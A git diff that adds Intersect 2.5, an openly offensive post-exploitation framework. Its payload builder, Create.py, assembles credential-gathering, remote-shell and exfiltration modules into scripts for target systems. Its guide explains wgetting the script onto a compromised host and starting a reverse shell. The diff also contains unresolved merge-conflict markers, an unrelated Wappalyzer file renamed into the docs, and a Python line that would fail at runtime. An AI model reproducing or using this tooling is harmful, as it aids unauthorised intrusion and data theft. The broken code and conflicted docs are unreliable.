diff --git a/Intersect-2.0/Intersect2-Beta.py b/Intersect-2.0/Intersect2-Beta.py index 794ae51..0b0f157 100755 --- a/Intersect-2.0/Intersect2-Beta.py +++ b/Intersect-2.0/Intersect2-Beta.py @@ -39,6 +39,8 @@ import getpass import pwd +conf = object() +conf.verb = 1 cut = lambda s: str(s).split("\0",1)[0] logging.getLogger("scapy.runtime").setLevel(logging.ERROR) diff --git a/Intersect-2.5/Create.py b/Intersect-2.5/Create.py new file mode 100755 index 0000000..765483a --- /dev/null +++ b/Intersect-2.5/Create.py @@ -0,0 +1,641 @@ +#!/usr/bin/python + +# Intersect2 Payload Generation Utility +# copyright 2012 - ohdae +# bindshell labs - http://bindshell.it.cx + +import sys, os, re +import shutil +import string, socket +import linecache +import random +import urllib, urllib2 +import datetime +import logging + + +global ModulesDir +global CustomDir +global PayloadTemplate +global currentloc +global tab_complete +global BuildLog +global now + + +tab_complete = True +try: + import readline +except ImportError: + print "[!] Python readline is not installed. Tab completion in the Create menu will be disabled." + tab_complete = False + +if tab_complete == True: + readline.parse_and_bind("tab: complete") + +currentloc = os.getcwd() +ModulesDir = (currentloc+"/src/Modules/local/Standard/") +CustomDir = (currentloc+"/src/Modules/local/Custom/") +PayloadTemplate = (currentloc+"/src/Templates/local/stock-template") +BuildLog = (currentloc+"/Logs/build_log") + +logging.basicConfig(filename=BuildLog, level=logging.INFO, format='%(asctime)s %(message)s') + + +def banner(): + + target = random.randrange(1,4) + + if target == 1: + print """ + ___ __ __ + | |.-----.| |_ .-----..----..-----..-----..----.| |_ + |. || || _|| -__|| _||__ --|| -__|| __|| _| + |. ||__|__||____||_____||__| |_____||_____||____||____| + |: | post-exploitation framework + |::.| + `---' +""" + + elif target == 2: + print """ + _______ __ __ + |_ _|.-----.| |_.-----.----.-----.-----.----.| |_ + _| |_ | || _| -__| _|__ --| -__| __|| _| + |_______||__|__||____|_____|__| |_____|_____|____||____| + Post-Exploitation Framework + bindshell.it.cx +""" + + elif target == 3: + print """ + ____ _ _ ____ ____ ____ ___ ____ ___ ____ + (_ _)( \( )(_ _)( ___)( _ \/ __)( ___)/ __)(_ _) + _)(_ ) ( )( )__) ) /\__ \ )__)( (__ )( + (____)(_)\_) (__) (____)(_)\_)(___/(____)\___) (__) + post-exploitation framework +""" + + elif target == 4: + print """ + _ _ _ + (_) | | | | + _ _ __ | |_ ___ _ __ ___ ___ ___| |_ + | | '_ \| __/ _ \ '__/ __|/ _ \/ __| __| + | | | | | || __/ | \__ \ __/ (__| |_ + __ |_|_| |_|\__\___|_| |___/\___|\___|\__| _ + / _| post-exploitation | | + | |_ _ __ __ _ _ __ ___ _____ _____ _ __| | __ + | _| '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ / + | | | | | (_| | | | | | | __/\ V V / (_) | | | < + |_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_\ + + +""" + +class Completer: + def __init__(self): + standard = os.listdir(ModulesDir) + custom = os.listdir(CustomDir) + modcom = standard + custom + cmds = ["create", "help", "active", "rem", "modules", "quit", "info", "clear"] + if menu_option == "build": + self.words = cmds + modcom + self.prefix = ":" + + def complete(self, prefix, index): + if prefix != self.prefix: + self.matching_words = [w for w in self.words if w.startswith(prefix)] + self.prefix = prefix + else: + pass + try: + return self.matching_words[index] + return self.match_mods[index] + except IndexError: + return None + +class payloadgen(object): + def __init__(self): + self.header = " => " + self.warning = "[+] " + + def core(self): + print """ +Intersect 2.5 - Script Creation Utility +------------------------------------------ +1 => Create Custom Script +2 => List Available Modules +3 => Load Plugin Module +4 => Exit Creation Utility\n\n""" + while True: + choice = raw_input("%s " % (self.header)) + + if choice == '1': + global menu_option + menu_option = "build" + self.create() + + elif choice == '2': + print("\nIntersect 2.5 - Script Creation Utility") + print("------- List of Intersect Modules --------\n") + print("Standard Modules: ") + os.system("ls %s" % ModulesDir) + print("\nCustom Modules: ") + os.system("ls %s" % CustomDir) + print("-------------------------------------------") + print(" 1 => Return to main menu.") + choice = raw_input("%s " % (self.header)) + if choice == '1': + os.system("clear") + banner() + self.core() + else: + print("%sInvalid Selection!" % (self.warning)) + + elif choice == '3': + self.loadfunc() + + elif choice == '4': + print("Exiting. See ya later!") + sys.exit(0) + + else: + print("[!] Invalid menu option!") + self.core() + + def loadfunc(self): + print("\n----------- Load Plugin Modules ------------") + print("") + print(" Options:") + print("1 => Load module by filename") + print("2 => Download and import from URL") + print("3 => List currently loaded custom modules") + print("4 => Return to Main Menu") + + choice = raw_input("%s " % (self.header)) + + if choice == '1': + print("Enter the current location of your custom module: ") + modloc = raw_input("%s " % (self.header)) + + if os.path.exists(modloc) is True: + shutil.copy2(modloc, CustomDir) + logging.info("New Module '%s' imported." % modloc) + print("[+] Module successfully loaded into the custom modules directory!") + self.loadfunc() + + else: + print("[!] Custom module could not be loaded.") + logging.info("Module import failed for %s" % modloc) + + elif choice == '2': + print("Enter the URL where the file is location: ") + print("example: http://example.com/mymodule") + modloc = raw_input("%s " % (self.header)) + + filename = modloc.split('/')[-1] + + try: + urllib.urlretrieve(modloc, filename=CustomDir+filename) + except Exception, e: + print("\n[!] Error downloading %s: %s" % (modloc, e)) + self.loadfunc() + + if os.path.exists(CustomDir+filename) is True: + print("\n[+] Module successfully downloaded and imported!\n") + logging.info("%s downloaded and imported successfully." % modloc) + self.loadfunc() + else: + print("\n[!] Something went wrong! Download and import not completed!\n") + logging.info("[Error] Download and import of %s failed." % modloc) + self.loadfunc() + + elif choice == '3': + print("Currently available custom modules: ") + os.system("ls %s" % CustomDir) + self.loadfunc() + + elif choice == '4': + os.system("clear") + banner() + self.core() + + else: + print("[!] Invalid menu option!") + self.loadfunc() + + def create(self): + menu_option = "build" + os.system("clear") + print("\nIntersect 2.0 - Script Generation Utility") + print("---------- Create Custom Script -----------\n") + print(" Instructions: ") + print(""" +Use the console below to create your custom +Intersect script. Type the modules you wish +to add, pressing [enter] after each module. +Example: + => creds + => network + +When you have entered all your desired modules +into the queue, start the build process by typing :create. + +** To view a full list of all available commands type :help. +The command :quit will return you to the main menu.\n""") + + desired_modules = [] + logging.info("New Build Process Started.") + + while 1: + if tab_complete == True: + completer = Completer() + readline.set_completer(completer.complete) + + modulesInput = raw_input("%s " % (self.header)) + + if os.path.exists(ModulesDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif os.path.exists(CustomDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif modulesInput == ":modules": + os.system("ls %s" % ModulesDir) + os.system("ls %s" % CustomDir) + + elif modulesInput == ":create": + createcustom.chooseName() + payloadgen.globalconfig(desired_modules) + logging.info("Building new script with: %s" % desired_modules) + for mod in desired_modules: + print mod + createcustom.CombineFeatures(desired_modules) + + elif modulesInput.startswith(":info"): + getname = modulesInput.split(' ') + modname = getname[1] + + if os.path.exists(CustomDir+modname) is True: + info = open(CustomDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + + elif os.path.exists(ModulesDir+modname) is True: + info = open(ModulesDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + else: + print("No description given for %s module " % modname) + + + elif modulesInput.startswith(":rem"): + getname = modulesInput.split(' ') + modname = getname[1] + desired_modules.remove(modname) + logging.info("%s removed from queue." % modulesInput) + print("[+] Removed module %s from queue" % modname) + + elif modulesInput == ":active": + print("\nModules you have selected: ") + print desired_modules + + elif modulesInput == ":clear": + os.system("clear") + print("Intersect 2.5 - Script Creation Utility") + + elif modulesInput == ":help": + print("\n Available Commands:") + print(" :help => display this menu") + print(" :active => shows current module queue") + print(" :create => creates payload from selected list") + print(" :clear => clears the screen") + print(" :info module => show description of module") + print(" :modules => list of currently available modules") + print(" module => adds module to payload queue") + print(" :rem module => removes module from payload queue") + print(" :quit => return to the main menu") + + elif modulesInput == ":quit": + print("[+] Returning to the main menu....") + banner() + self.core() + + else: + print("[!] %s command or module does not seem to exist!\n" % modulesInput) + + def valid_ip(self,ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + + def globalconfig(self, modules): + writeglobals = (currentloc+"/Junk/globals") + globalstemp = open(writeglobals, "a") + + globalstemp.write("\ndef globalvars():") + globalstemp.write("\n global PORT") + globalstemp.write("\n global RHOST") + globalstemp.write("\n global RPORT") + globalstemp.write("\n global PPORT") + globalstemp.write("\n global PKEY") + globalstemp.write("\n global socksize") + globalstemp.write("\n global shellPID") + globalstemp.write("\n global modList") + globalstemp.write("\n global Temp_Dir") + globalstemp.write("\n global Logging") + globalstemp.write("\n global ActivityLog") + + globalstemp.write("\n\n modList = %s" % modules) + globalstemp.write("\n socksize = 4092") + globalstemp.write("\n shellPID = []") + + print("\nSpecify the directory on the target system where the gathered files and information will be saved to.") + print("*Important* This should be a NEW directory. When exiting Intersect, this directory will be deleted if it contains no files.") + print("If you skip this option, the default (/tmp/lift+$randomstring) will be used.") + + tempdir = raw_input("temp directory %s " % (self.header)) + if tempdir == "": + globalstemp.write("\n Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12))") + globalstemp.write("\n Temp_Dir = '/tmp/lift-'+'%s' % Rand_Dir") + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + else: + globalstemp.write("\n Temp_Dir = '%s'" % tempdir) + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + + logopt = raw_input("enable logging %s " % (self.header)) + if logopt == "": + logging.info("Task logging = No") + globalstemp.write("\n Logging = 'no'") + elif logopt == "yes" or logopt.startswith("y"): + logging.info("Task logging ENABLED") + globalstemp.write("\n Logging = 'yes'") + else: + globalstemp.write("\n Logging = 'no'") + logging.info("Task logging DISABLED") + + + bport = raw_input("bind port %s " % (self.header)) + if bport == "": + globalstemp.write("\n PORT = 4444") + elif bport.isdigit() is True: + globalstemp.write("\n PORT = %s" % bport) + print("[+] bind port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rhost = raw_input("remote host %s " % (self.header)) + if rhost == "": + globalstemp.write("\n RHOST = ''") + elif self.valid_ip(rhost) is True: + globalstemp.write("\n RHOST = '%s'" % rhost) + print("[+] remote host saved.") + else: + print("[!] invalid ipv4 address!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rport = raw_input("remote port %s " % (self.header)) + if rport == "": + globalstemp.write("\n RPORT = 8888") + elif rport.isdigit() is True: + globalstemp.write("\n RPORT = %s" % rport) + print("[+] remote port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pport = raw_input("proxy port %s " % (self.header)) + if pport == "": + globalstemp.write("\n PPORT = 8080") + elif pport.isdigit() is True: + globalstemp.write("\n PPORT = %s" % pport) + print("[+] proxy port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pkey = raw_input("xor cipher key %s " % (self.header)) + if pkey == "": + globalstemp.write("\n PKEY = 'TESTME'") + else: + globalstemp.write("\n PKEY = '%s'\n\n" % pkey) + print("[+] xor key saved.") + + globalstemp.close() + + + +class createcustom: + def __init__(self): + self.header = " => " + + + def chooseName(self): + global newpayload + global script + + print("\n[ Set Options ]\nIf any of these options don't apply to you, press [enter] to skip.") + + if os.path.exists(PayloadTemplate) is True: + print("Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. Do not include Python file extension.") + name = raw_input("%s " % (self.header)) + script = (currentloc+"/Scripts/%s.py" % name) + + if name == "": + script = (currentloc+"/Scripts/Intersect.py") + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + logging.info("Script named: Intersect.py") + + else: + + if os.path.exists(script) is True: + print("[!] The filename you entered all ready exists. Enter a new filename") + logging.error("User selected invalid script name.") + self.chooseName() + else: + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + print("Script will be saved as %s" % script) + logging.info("Script named: %s " % script) + + else: + print("[!] Payload template cannot be found!") + logging.error("Cannot find the base Intersect template.") + payloadgen.core() + + + def CombineFeatures(self, moduleList): + + + savedglobals = (currentloc+"/Junk/globals") + writeglobals = open(savedglobals, "r") + for lines in writeglobals.readlines(): + newpayload.write(lines) + writeglobals.close() + os.system("rm %s" % savedglobals) + + for item in moduleList: + if os.path.exists(ModulesDir+item) is True: + module = open(ModulesDir+item, "r") + + elif os.path.exists(CustomDir+item) is True: + module = open(CustomDir+item, "r") + + for lines in module.readlines(): + newpayload.write(lines) + module.close() + + newpayload.close() + + self.MakeUsage(moduleList) + self.MakeOptParse(moduleList) + os.system("chmod u+x %s" % script) + + print("\n[+] Your custom Intersect script has been created!") + print(" Location: %s" % script) + logging.info("Script saved to: %s \n" % script) + sys.exit(0) + + + def MakeUsage(self, moduleList): # Clean up this function + usage = (currentloc+"/Junk/usage") + descriptions = [] + + for module in moduleList: + if os.path.exists(ModulesDir+module) is True: + info = open(ModulesDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + + elif os.path.exists(CustomDir+module) is True: + info = open(CustomDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + else: + descriptions.append(" -%s --%s" % (short, module)) + + writeusage = open(usage, "a") + + writeusage.write("\n\ndef usage():") + writeusage.write("\n print('============================================')") + writeusage.write("\n print(' intersect 2.5 | custom version ')") + writeusage.write("\n print(' http://bindshell.it.cx | ohdae')") + writeusage.write("\n print(' Modules:')") + + for item in descriptions: + writeusage.write("\n print('%s')" % (str(item))) + + writeusage.close() + + newpayload = open(script, "a") + addusage = open(usage, "r") + + for lines in addusage.readlines(): + newpayload.write(lines) + + os.system("rm %s" % usage) + newpayload.close() + addusage.close() + + + def MakeOptParse(self, moduleList): + shortopts = [] + shorts = [] + + for item in moduleList: + modname = item[0] + shortopts.append(modname) + + moduleList.append("help") + shorts.append("h") + + shorts = [''.join(shortopts)] + + + newpayload = open(script, "a") + writeopts = (currentloc+"/Junk/writeopts") # give name to getopt temporary file # + newopts = open(writeopts, "a") # open temporary getopt file to append getopt functions into + + + newopts.write("\n\ndef main(argv):") + newopts.write("\n try:") + newopts.write("\n opts, args = getopt.getopt(sys.argv[1:], %s, %s)" % (str(shorts).strip('[]'), moduleList)) + newopts.write("\n except getopt.GetoptError, err:") + newopts.write("\n print str(err)") + newopts.write("\n Shutdown()") + newopts.write("\n for o, a in opts:") + newopts.write("\n if o in ('-h', '--help'):") + newopts.write("\n usage()") + newopts.write("\n Shutdown()") + newopts.write("\n sys.exit(2)") + + for opt, module in zip(shortopts, moduleList): + newopts.write("\n elif o in ('-%s', '--%s'):" % (opt, module)) + newopts.write("\n %s()" % module) + + newopts.write("\n else:") + newopts.write("\n assert False, 'unhandled option'") + newopts.write("\n Shutdown()\n") + newopts.write("\n\nglobalvars()") + newopts.write("\nenvironment()") + newopts.write('\nif __name__ == "__main__":') + newopts.write("\n if len(sys.argv) <=1:") + newopts.write("\n usage()") + newopts.write("\n main(sys.argv[1:])") + newopts.close() + + writeopt = open(writeopts, "r") + for lines in writeopt.readlines(): + newpayload.write(lines) + + os.system("rm %s" % writeopts) + + writeopt.close() + newpayload.close() + + +if __name__=='__main__': + banner() + payloadgen = payloadgen() + createcustom = createcustom() + payloadgen.core() diff --git a/Wappalyzer/drivers/firefox/README.md b/Intersect-2.5/Docs/FAQ similarity index 100% rename from Wappalyzer/drivers/firefox/README.md rename to Intersect-2.5/Docs/FAQ diff --git a/Intersect-2.5/Docs/GUIDE b/Intersect-2.5/Docs/GUIDE new file mode 100644 index 0000000..a96f897 --- /dev/null +++ b/Intersect-2.5/Docs/GUIDE @@ -0,0 +1,115 @@ +Intersect 2.5 - Documentation +How-To Guide + +Table Of Contents +* Create.py +* Building custom scripts +* Using your finished script + + + + [ Create.py Application ] + +The Create application is the core application within the Intersect 2.5 framework. +The main focus of Create is to help you in building customized Intersect scripts, but it can also be used for importing +new modules from a local file or webserver, viewing their descriptions or author information, check for updates to the +Intersect framework and some other creation-centric features. + +Create.py is a menu-driven script that guides you through the process of building your custom script. +When you start Create you will be brought to the Main Menu, where you can choose whether to build a new script, import +a new module or view a list of all currently available modules within the Custom and Standard directories. + +Within any menu of Create, you can type ':help' to be presented with a detailed list of commands for the specific menu +you are in. You can also type ':exit' or ':quit' at any menu to be brought back to the Main Menu or completely exit +the application, if you are all ready there. + +Main Menu: + 1 => Create Custom Script + 2 => List Available Modules + 3 => Load Plugin Module + 4 => Check for updates + 5 => Exit Creation Utility + + + + + [ Building Custom Scripts ] + +The entire purpose of Intersect 2.5 is to help you create custom post-exploitation scripts. This is done by using the +Create application and selecting option '1' from the Main Menu. + +After you select the first option from the Main Menu, you'll be presented with a quick tutorial on how the creation +process works and how to add modules to your script. +At any point during this process you can type ':help' for a full list of commands or type ':quit' to return to the main +menu. + +Enter the name of each module you wish to add to your script, pressing [enter] after each addition. +Once you've added everything you want included, type ':create' to start the build process. +You'll then be prompted to enter a name for your script and define some options for things like encryption keys and +ports. +The entries will checked to make sure your entries are valid. If you enter an invalid IP address or port, you will be +notified and asked to re-enter the correct information. + +After all the options are saved, your script will be built. +You'll be shown a list of all the modules that were built into the script and the location where the final product is +saved. + +[Example of :create command] + => :create + Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. + Do not include Python file extension. + => TutorialTest + Script will be saved as /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + Configure Options: + If any of these options don't apply to you, press [enter] to ignore them. + bind port => 4444 + [+] bind port saved. + remote host => + [+] remote host saved. + remote port => + [+] remote port saved. + proxy port => + [+] proxy port saved. + xor cipher key => + [+] xor key saved. + bshell + extras + network + + [+] Your custom Intersect script has been created! + Location: /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + + + +<<<<<<< HEAD + [ Using your custom Intersect script ] +======= + [ Using your custom Intersect script ] +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +There is a large variety of ways you can use your Intersect script. The options are only limited by the modules you +choose for each script. + +The most straight-forward and common method of use is uploading or downloading the Intersect script onto a target system +and then running the post-exploitation automation tasks right from the command line. + +If you do not have direct shell access, you can still make full use of Intersect and run any of the includes modules +over any of the remote shells (TCP, XOR, ICMP, UDP, AES, etc). +This might occur in a situation where you only have command execution access on the target host, through a vulnerable +web application for example. +In that case, simply wget the Intersect script onto the target box and execute "./Intersect.py --rshell", for example, +to start an interactive reverse shell back to your listening box. Once you get a successfull connection, you can run any +of the included modules over the shell by using the 'extask' command. +For a full list of commands and help within any of the remote shells, type 'helpme'. + +<<<<<<< HEAD +======= +When you run most of the Intersect modules, the information and files that are gathered will be saved into a temporary +directory within /tmp. +The files and data will be separated into sub-folders so the information is easier to identify and locate. + +This section will be filled in with more details eventually. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + diff --git a/Intersect-2.5/Docs/LICENSE b/Intersect-2.5/Docs/LICENSE new file mode 100644 index 0000000..0fac951 --- /dev/null +++ b/Intersect-2.5/Docs/LICENSE @@ -0,0 +1,31 @@ +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you give appropriate credit where credit is due and the above license and copyright information +is included. \ No newline at end of file diff --git a/Intersect-2.5/Docs/README b/Intersect-2.5/Docs/README new file mode 100644 index 0000000..9fe9357 --- /dev/null +++ b/Intersect-2.5/Docs/README @@ -0,0 +1,71 @@ +Intersect 2.5 - Post-Exploitation Framework + +author: ohdae +website: http://bindshell.it.cx + https://github.com/ohdae/Intersect-2.5/ +contact: bindshell[at]live[dot]com + +Table of Contents +* General Description +* Modules Explanation +* Script Creation Process +* Credits & How to Contribute + +[ Description ] + +Intersect 2.5 is the second major release in the project line. This release is much different from the previous, +in that it gives the user complete control over which features the Intersect script includes and lets them easily +import their own features, among other new functionality. + +This release focuses mainly on the individual modules(features) and the capability to generate your own customized +Intersect scripts. By using the Create.py application, the user is guided through a menu-driven process which allows +them to select which modules they would like to include, import their own custom modules and ultimately create an +Intersect script that is built around the specific modules they choose. + + + +[ Modules ] + +A module is simply a specific post-exploitation function. Each individual module itself is not capable of stand-alone +execution until it is imported with the Create application and built into a custom script. +With Intersect 2.5, there is the arrival of many new modules and some changes to the original features that were included +in version 2.0. + +The modules are broken down into two categories. +The first category, Standard Modules, includes all of the original Intersect 2.0 features and tasks but they are +separated into individual modules to provide more control over the finalized custom script. +For example, the credential gathering feature is now it's own module called "creds" and +the network information gathering feature is a separate module called "network". + +The second category is the Custom modules and includes anything that was not part of Intersect 2.0 and is also where +any new, additional or custom modules that the user imports will be stored. While the user can import any module +functionality they wish, the Custom modules packaged with Intersect 2.5 focus on post-exploitation automation, remote +shell access and various data exfiltration functions. + +For more information on writing your own modules or importing modules for use, see the Writing-Modules documentation. + + + +[ Creation Process ] + +The Create.py application is used to generate the actual Intersect script that you will be using on the target system. +There is no final Intersect script until you make one! + +When you start Create, you will be presented with a series of menus that provides the following features: +* Generate custom Intersect scripts + -- choose as many or as few modules as you want + -- define specific variables (i.e., shell ports and hosts, crypto keys, proxy ports, etc) + -- view, add or remove modules from the queue + -- view description and information on any given module +* Import custom modules + -- download and import from a url + -- import from a local directory +* Download Intersect 2.5 updates + -- requires Git to be installed locally + -- useful for bug fixes, new features, etc +* Various help menus and lots of other commands + +You will be asked to give your newly created script a name. Enter the filename, without the Python file extension, when +you are prompted. Your final script will be saved in the Scripts directory. + + diff --git a/Intersect-2.5/Docs/UPDATING b/Intersect-2.5/Docs/UPDATING new file mode 100644 index 0000000..9c05f6e --- /dev/null +++ b/Intersect-2.5/Docs/UPDATING @@ -0,0 +1,25 @@ + +Documentation: How to update Intersect Framework + +- How To Update +- Updates Schedule + + +How To Update: + +*coming soon* + + +Updates Schedule: + +New features, bug fixes and upgrades are constantly being pushed to +the Intersect Github repository. I will do my best to make sure that every +Monday morning, there is a stable release available. The stable release will +be listed under the 'master' branch and any developmental and beta upgrades +will be listed under the 'development' branch. + +Every Monday morning, you can update to the latest stable release by using +the command 'git pull master' from your main Intersect directory. + +For the beta release use 'git pull development' + diff --git a/Intersect-2.5/Docs/WritingModules b/Intersect-2.5/Docs/WritingModules new file mode 100644 index 0000000..d48cd39 --- /dev/null +++ b/Intersect-2.5/Docs/WritingModules @@ -0,0 +1,244 @@ +Intersect 2.5 - Documentation +How To Write Custom Modules + +Tables of Contents +* Module Format +* Writing +* Built-in Functions & Global Variables +* Importing + +Note: The best way to get an idea of the module format is to view the source code for any of the current modules. +The 'egressbuster' Custom module is a good example to start with because it makes use of the global variables and more +than one Python function. + + + + [ Module Format ] + +The entire Intersect 2.5 framework and every module included is pure Python, based mainly on the core Python libraries. + +Each module must start on the second line of the file. This line is used to place a comment that explains a short +description and any author information about that module. 'Line X:' is included just for demonstration purposes, do not +include that text. +Example => + +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. + +The next section of the module is the actual code that will be executed when we call the module function from the +command line. As of right now, each module is simply a Python function or a collection of functions. In the near future, +this will most likely be changed to implement classes so we can better handle larger and more complex modules. + +The name of your function should correlate to the modules task. For example, the Standard bindshell module is saved as +'bshell' and the function is called 'bshell.' This is because Create takes the modules filename and uses that for the +getopt option that is called from the command line. +Example => + +Line 1: +Line 2: # This is a basic TCP bind shell +Line 3: def function(): +Line 4: print("Insert some code here!") + +The above example would be saved as a file named "function" within the Modules/Custom directory. +When Create adds that module to the custom script, getopt will take the first letter of the filename for the short option +and take the whole name for the long option. +So, the module called 'function' with the function 'function()' becomes '-f' or '--function' from the command line. +When you execute ./Script.py -f or ./Script.py --function, the Script will attempt to call the function function(). + +If you don't name the module filename and function correctly, there will be errors when trying to call the function. + +To recap the full format of a module and how Create calls that module, view the example below. + + +*Sample Module* +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. +Line 3: def function(): +Line 4: print("This is my example module!") +Line 5: if os.path.exists("/etc/passwd") is True: +Line 6: print("We found the passwd file!") + + + +*Sample GetOpt* (This is generated automatically by the Create application) +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'fh', ['function', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-f', '--function'): + function() + + + +*Sample Command Line Usage* +root@system:~$ ./Script.py --function +This is my sample module! +We found the passwd file! + +root@system:~$ ./Script.py --help +intersect 2.5 | custom version +http://bindshell.it.cx | ohdae +Modules: + -f --function + -h --help + + + + + [ Writing Modules ] + +Now that you have the general idea of the module format, this section will briefly explain how to write custom modules. +Writing your own modules is almost indentical to writing a regular Python script, only with a few slight changes. +If you all ready know Python, you'll find this very straight forward. + +* You do not need to define getopt or any usage information. This will be generated on the fly by Create. + +* You do not need to import libraries, unless you need to use one that is not included in the Script Template file. + -- The Script Template includes alot of the usually needed Python libraries. For a full list, view the file in the + src/Templates/ directory. + -- If you import a module that is not part of the Python standard libraries, make sure you call an Import exception + in case the target system does not have that library installed on their system. + -- If you want to use a 3rd party library that you know the target system does not have installed, you can either + install the module manually via pip or uploading the files or use an application like cx_Freeze or PyInstaller + to package all the needed libraries with your script and create a standalone executable file. + + Example: +<<<<<<< HEAD + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For a full list of all built-in functions and global variables, see the next section of this document. +======= + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For example, if you are writing a remote shell module you do not need to define HOST, PORT, RHOST, RPORT, etc. because + you are prompted for that information during the Create process and they are saved as global variables to the final + script. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +* Defining arguments: + To define arguments, simply do this inside of your modules function. If your module requires the user supplies + a file name, specify that in the Description line and add a line of code to your module like this: + filename = sys.argv[2] + + Note: This will be better implemented in the future to include any needed arguments in the Usage menu. + +* Using Classes: + If you are writing a larger module that makes use of Python classes, you only need to make one slight change + within the final custom script. This is done to ensure that getopt calls the correct class and function when + calling your module. Make this change in the Scripts/YourScript.py file after you've finished with Create. + + Getopt WITHOUT Class: + elif o in ('-f', '--function'): + function() + + Getopt WITH Class: + elif o in ('-f', '--function'): + classname.function() + +* Making use of the Temporary Directories (lift-*/) + Intersect 2.5 saves any gathered information and files to a series of temporary directories within the target + systems /tmp/ folder. We create a folder called /tmp/lift+$randomstring. + The temporary directory for each session is saved as the global variable Temp_Dir. + To create subfolders of your sessions temporary directory, simply do something like: + os.system("mkdir %s/MyModulesStuff" % Temp_Dir) + This will create the folder /tmp/lift-$randomstring/MyModulesStuff where you can save files and other information + that your module creates or uses. + + Every time Intersect 2.5 exits, we check to see if the temporary directory is empty and unused. If it is, we delete + the directory so we don't just leave a bunch of random directories behind. + But if there is files saved into the lift+$randomstring directory or any of the subfolders, they are kept until + you or your module manually removes them. + + If you want your module to shut down the Intersect script and check if lift+$randonstring contains any files, + just call the built-in Shutdown() function followed by sys.exit(0) + + + + + [ Built-in Functions & Variables ] + + The table below details the other built-in variables and functions that you can make use of for your modules. + Feel free to edit the Script_Template file to add or change whatever you need. + + Variable or Function Assigned Task + -------------------- -------------- + list: modList list of all included module names + variable: Temp_Dir lift+$randomstring directory + variable: Home_Dir os.environ['HOME'] + variable: User_Ip_Address socket.gethostbyname(socket.gethostname()) + variable: distro os.uname()[1] + variable: distro2 platform.linux_distribution()[0] + variable: PORT listen port defined using Create + variable: RHOST remote host defined using Create (*your* IP address, not the targets) + variable: RPORT remote port defined using Create (*your* listening port, not the targets) + variable: 